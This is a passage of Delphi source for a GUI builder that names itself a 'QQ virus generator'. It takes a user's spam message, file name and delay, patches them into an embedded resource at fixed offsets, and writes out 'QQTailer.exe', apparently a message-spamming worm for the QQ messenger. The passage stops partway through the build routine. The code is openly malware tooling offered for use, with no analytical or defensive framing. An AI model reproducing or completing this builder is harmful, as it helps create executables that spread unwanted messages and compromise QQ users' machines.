spSkinData1: TspSkinData;
spCompressedStoredSkin1: TspCompressedStoredSkin;
spTrayIcon1: TspTrayIcon;
spSkinHint1: TspSkinHint;
spSkinStatusBar1: TspSkinStatusBar;
spSkinStatusPanel1: TspSkinStatusPanel;
spSkinStatusPanel2: TspSkinStatusPanel;
BBuild: TspSkinSpeedButton;
CloseAll: TspSkinSpeedButton;
spSkinLabel1: TspSkinLabel;
EFileName: TspSkinEdit;
spSkinLabel2: TspSkinLabel;
WWaitTime: TspSkinSpinEdit;
spSkinLabel3: TspSkinLabel;
Memo: TspSkinMemo;
spSkinLabel4: TspSkinLabel;
EFilePath: TspSkinEdit;
spSkinSpeedButton3: TspSkinSpeedButton;
spSkinStdLabel1: TspSkinStdLabel;
SSaveDia: TspSkinSaveDialog;
spSkinData2: TspSkinData;
spCompressedStoredSkin2: TspCompressedStoredSkin;
procedure FormResize(Sender: TObject);
procedure CloseAllClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure spSkinStdLabel1Click(Sender: TObject);
procedure EFileNameExit(Sender: TObject);
procedure BBuildClick(Sender: TObject);
procedure spSkinSpeedButton3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
const
OFFSET_MSG = 72796; //消息
OFFSET_FileName = 73676; //文件名
OFFSET_Time = 73716; //时间
var
Form1: TForm1;
implementation
{$R *.dfm}
{$R QQ.res}
Function Split(s,s1:string):TStringList;
begin
Result:=TStringList.Create;
while Pos(s1,s)>0 do
begin
Result.Add(Copy(s,1,Pos(s1,s)-1));
Delete(s,1,Pos(s1,s));
end;
Result.Add(s);
end;
procedure TForm1.FormResize(Sender: TObject);
begin
spSkinStatusPanel1.Width:=Form1.Width-130;
end;
procedure TForm1.CloseAllClick(Sender: TObject);
begin
Application.Terminate;
end;
procedure TForm1.FormShow(Sender: TObject);
begin
//显示出生成文件的路径
EFilePath.Text:=ExtractFilePath(ParamStr(0)) + 'QQTailer.exe';
end;
procedure TForm1.spSkinStdLabel1Click(Sender: TObject);
begin
ShellExecute(Handle,'open','http://wpa.qq.com/msgrd?V=1&Uin=360695670&Site=QQ病毒生成器&Menu=yes',nil,nil,0);
end;
procedure TForm1.EFileNameExit(Sender: TObject);
var
Sl:TStringList;
KZM:String;
i:Integer;
begin
sl:=Split(EFileName.Text,'.');
i:=Sl.Count;
KZM:=Sl.Strings[i-1];
if KZM<>'exe' then
begin
EFileName.Text:=EFileName.Text + '.exe';
end;
end;
procedure TForm1.BBuildClick(Sender: TObject);
var
WriteBuff, ziyuanzhizhen: PChar;
ziyuanweizhi: HRSRC;
ziyuandaxiao, BytesWritten: Longword;
shujuchulijubing: THandle;
shenqingzhizhen: THandle;
MyMsg,FName,FileURL,WaitTime:string;
begin
MyMsg:=trim(Memo.Text);
FName:=Trim(EFileName.text);
FileURL:=Trim(EFilePath.Text);
WaitTime:=Trim(WWaitTime.Text);
try
ziyuanweizhi := FindResource(HInstance, 'QQ', RT_RCDATA);
ziyuandaxiao := SizeofResource(HInstance, ziyuanweizhi);
shujuchulijubing := LoadResource(HInstance, ziyuanweizhi);
ziyuanzhizhen := LockResource(shujuchulijubing);
shenqingzhizhen := CreateFile(pchar(FileURL), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);


